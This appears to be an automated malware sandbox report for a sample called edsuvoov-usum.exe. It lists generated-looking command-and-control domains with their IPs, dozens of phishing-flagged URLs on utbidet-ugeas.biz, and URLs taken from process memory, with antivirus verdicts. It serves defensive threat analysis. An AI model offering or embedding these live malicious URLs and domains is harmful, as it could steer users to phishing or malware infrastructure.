http://utbidet-ugeas.biz/d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869F	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609	100%	Avira URL Cloud	phishing
http://pwoawmujdqwzs.mp/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?022257A5E92557A5E910578DE922572B3AB66F0DB323576541205493C710799CDB12678	100%	Avira URL Cloud	phishing
http://ovonq.tk/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC43	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A	100%	Avira URL Cloud	phishing
http://ylmed.cm/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92	100%	Avira URL Cloud	phishing
http://cgengcwnm.kr/Uy	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B	100%	Avira URL Cloud	phishing
http://oukpcbtqgqwoa.nu/mL	0%	Avira URL Cloud	safe
http://sgfpiiwog.tk/;0	0%	Avira URL Cloud	safe
http://ww99.utbidet-ugeas.biz/d/N?028C86	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C1	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFA	100%	Avira URL Cloud	phishing
http://oukpcbtqgqwoa.nu/~	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D77	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E6	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C	100%	Avira URL Cloud	phishing
http://%s.biz/d/N?http://%s.biz/d/G?http://%s/d/rpt?%smodemisdn%u.%u.%u.%s	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F8649019	100%	Avira URL Cloud	phishing
https://android.notify.windows.com/iOSd	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B	100%	Avira URL Cloud	phishing
http://qdukhasgmus.tk/	0%	Avira URL Cloud	safe
http://owzuhlkauoavrg.rw/p	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
http://pdrwqa.mp/:	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC	100%	Avira URL Cloud	phishing
http://%s.biz/d/N?	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F	100%	Avira URL Cloud	phishing
http://ns.adobe	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F	100%	Avira URL Cloud	phishing
http://jwimhacdt.cm/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AF	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D	100%	Avira URL Cloud	phishing
http://wfnsamu.st/L	100%	Avira URL Cloud	malware
http://utbidet-ugeas.biz/d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3	100%	Avira URL Cloud	phishing
http://quzgmnyiqyqoez.kr/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F	100%	Avira URL Cloud	phishing
http://uvwabzkyifixf.tk/	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65	100%	Avira URL Cloud	phishing
https://api.msn.com/%	0%	Avira URL Cloud	safe
http://quzgmnyiqyqoez.kr	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A	100%	Avira URL Cloud	phishing
https://excel.office.comj	0%	Avira URL Cloud	safe
http://sgfpiiwog.tk/xy	0%	Avira URL Cloud	safe
http://pdrwqa.mp/z	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FB	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E16554	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F	100%	Avira URL Cloud	phishing
http://akpzumsigtkmmw.mp/	0%	Avira URL Cloud	safe
http://schemas.micro	0%	Avira URL Cloud	safe
https://wns.windows.com/ilable1	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379	100%	Avira URL Cloud	phishing
http://ylmed.cm/xzK0L~	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?0216856	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8C	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF	100%	Avira URL Cloud	phishing
http://owzuhlkauoavrg.rw/(	0%	Avira URL Cloud	safe
http://utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFAEDD	100%	Avira URL Cloud	phishing
http://ww99.utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AF	100%	Avira URL Cloud	phishing
http://utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vnsudgrujuqaw.vg	88.198.29.97	true	false	0%, Virustotal, Browse	unknown
taiqjio.ws	64.70.19.203	true	false	0%, Virustotal, Browse	unknown
wegkycraooigi.ws	64.70.19.203	true	false		unknown
esqkgcss.ph	45.79.222.138	true	false		unknown
uvomuyoigeqh.ws	64.70.19.203	true	false		unknown
atewnko.ph	45.79.222.138	true	false		unknown
gnwseqckkmly.ph	45.79.222.138	true	false		unknown
ysbgwpqywiujo.ph	45.79.222.138	true	true		unknown
neupqnkgba.ws	64.70.19.203	true	false		unknown
epjgqyk.vg	88.198.29.97	true	false		unknown
btmcgia.ws	64.70.19.203	true	false		unknown
haofpecu.vg	88.198.29.97	true	false		unknown
jkknameib.vg	88.198.29.97	true	false		unknown
ndqcy.ws	64.70.19.203	true	false		unknown
cywkjn.vg	88.198.29.97	true	false		unknown
pqqembk.vg	88.198.29.97	true	false		unknown
pmoodvkmiigul.vg	88.198.29.97	true	false		unknown
gurlwrqpctlkiu.ws	64.70.19.203	true	false		unknown
ypnuaffmx.vg	88.198.29.97	true	false		unknown
goqcygcoo.ph	45.79.222.138	true	false		unknown
biguscy.ws	64.70.19.203	true	false		unknown
lfcwiw.ph	45.79.222.138	true	false		unknown
geocssarlwqkae.ws	64.70.19.203	true	false		unknown
fyumrag.vg	88.198.29.97	true	false		unknown
utbidet-ugeas.biz	172.234.222.138	true	false		unknown
muizcaelkbpus.ws	64.70.19.203	true	false		unknown
olmoutsceagaml.ph	45.79.222.138	true	false		unknown
qatewn.vg	88.198.29.97	true	false		unknown
vrkofomkuzuymp.ph	45.79.222.138	true	false		unknown
msqnej.ws	64.70.19.203	true	false		unknown
mxeye.ph	45.79.222.138	true	false		unknown
ivoskdmxlinnf.ws	64.70.19.203	true	false		unknown
csyqosocetow.vg	88.198.29.97	true	false		unknown
lconagoqitcc.ws	64.70.19.203	true	false		unknown
oigusewa.vg	88.198.29.97	true	false		unknown
zuvblymqiom.vg	88.198.29.97	true	false		unknown
skkawq.ph	45.79.222.138	true	false		unknown
gceocrmsm.ph	45.79.222.138	true	false		unknown
kwdscx.ws	64.70.19.203	true	false		unknown
wlopqesa.ws	64.70.19.203	true	false		unknown
tsmmqmmwg.ph	45.79.222.138	true	false		unknown
dcqir.vg	88.198.29.97	true	false		unknown
vmklwkrpmmi.vg	88.198.29.97	true	false		unknown
gcqiwuurhamq.ws	64.70.19.203	true	false		unknown
quoxyyhgwkw.vg	88.198.29.97	true	false		unknown
czcceggoa.ph	45.79.222.138	true	false		unknown
cefal.ph	45.79.222.138	true	false		unknown
umwkoadmhbrsv.ph	45.79.222.138	true	false		unknown
cbgokbq.vg	88.198.29.97	true	false		unknown
iware.ph	45.79.222.138	true	false		unknown
vcmiwoi.ws	64.70.19.203	true	false		unknown
yklznhasrec.ws	64.70.19.203	true	false		unknown
esdryukcayyoq.vg	88.198.29.97	true	false		unknown
wrzeolo.vg	88.198.29.97	true	false		unknown
kkrsmqksico.ws	64.70.19.203	true	false		unknown
orhwyostw.ph	45.79.222.138	true	false		unknown
yamijoovw.ws	64.70.19.203	true	false		unknown
wrrfiqelyzq.ws	64.70.19.203	true	false		unknown
byamehgekaeek.ws	64.70.19.203	true	false		unknown
garuyix.ph	45.79.222.138	true	false		unknown
zhvaaoijau.ws	64.70.19.203	true	false		unknown
gwzyu.ph	45.79.222.138	true	false		unknown
sbpgpqw.vg	88.198.29.97	true	false		unknown
owwvasibxygwtk.vg	88.198.29.97	true	false		unknown
rgqgidaugywcg.ph	45.79.222.138	true	false		unknown
lmmeeoyzyn.ws	64.70.19.203	true	false		unknown
jwgkbq.ph	45.79.222.138	true	false		unknown
fyuciecxgldyb.ws	64.70.19.203	true	false		unknown
yiodscs.ph	45.79.222.138	true	false		unknown
btnmut.ph	45.79.222.138	true	true		unknown
qsmnhmikgb.ws	64.70.19.203	true	false		unknown
wiwip.ph	45.79.222.138	true	false		unknown
wkgxyjabnhynde.vg	88.198.29.97	true	false		unknown
iefcm.cm	unknown	unknown	true		unknown
exmqudoi.cm	unknown	unknown	true		unknown
nukeecapkuanq.cg	unknown	unknown	true		unknown
zaspgiv.tk	unknown	unknown	true		unknown
menrzwzda.kr	unknown	unknown	true		unknown
mcesyrpjcoxcu.tk	unknown	unknown	true		unknown
ecumwls.mp	unknown	unknown	true		unknown
jwimhacdt.cm	unknown	unknown	true		unknown
oymyeynqyqewcs.mp	unknown	unknown	true		unknown
qhncbseaikqo.rw	unknown	unknown	true		unknown
ulwbq.cm	unknown	unknown	true		unknown
eqcdijeomajywh.rw	unknown	unknown	true		unknown
imctsikhqfmox.st	unknown	unknown	true		unknown
mokurs.rw	unknown	unknown	true		unknown
okocqpi.tk	unknown	unknown	true		unknown
eymkhoeguh.cm	unknown	unknown	true		unknown
ssgum.cg	unknown	unknown	true		unknown
bgneigegyqofu.tk	unknown	unknown	true		unknown
uwkmq.kr	unknown	unknown	true		unknown
elymkl.rw	unknown	unknown	true		unknown
yiqqmjekm.tk	unknown	unknown	true		unknown
rmydkqgvcvhez.kr	unknown	unknown	true		unknown
numuqgoyj.nu	unknown	unknown	true		unknown
kuchksikknk.cg	unknown	unknown	true		unknown
uryaqqyx.cg	unknown	unknown	true		unknown
owpuc.cg	unknown	unknown	true		unknown
kikcvucesim.cm	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://utbidet-ugeas.biz/d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4706	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025868AC8A5F68AC8A6A68848A58682259CC5004D059686C225A6B9AA46A4695B86858828A	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C4A6	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65947	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?022E17715D2917715D1C17595D2E17FF8EBA2FD9072F17B1F52C1447731C39486F1E275F5D	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02AA0963E6AD0963E698094BE6AA09ED353E31CBBCAB09A34EA80A55C898275AD49A394DE6	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458F07	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02DE65FDB3D965FDB3EC65D5B3DE6573604A5D55E9DF653D1BDC66CB9DEC4BC481EE55D3B3	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C189F	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025ACD535A5DCD535A68CD7B5A5ACDDD89CEF5FB005BCD93F258CE657468E36A686AFD7D5A	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F887	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B0C2	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFAEDD	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://utbidet-ugeas.biz/d/N?024859D5D44F59D5D47A59FDD448595B07DC617D8E4959157C4A5AE3FA7A77ECE67869F	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2952422316.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2963937281.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ovonq.tk/	edsuvoov-usum.exe, 00000001.00000003.2387143915.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC43	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?022257A5E92557A5E910578DE922572B3AB66F0DB323576541205493C710799CDB12678	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://pwoawmujdqwzs.mp/	edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?029975A1079E75A107AB75890799752FD40D4D095D987561AF9B769729AB5B9835A9458	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2578341460.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2963937281.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ylmed.cm/	edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D	edsuvoov-usum.exe, 00000001.00000003.2212630872.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://cgengcwnm.kr/Uy	edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
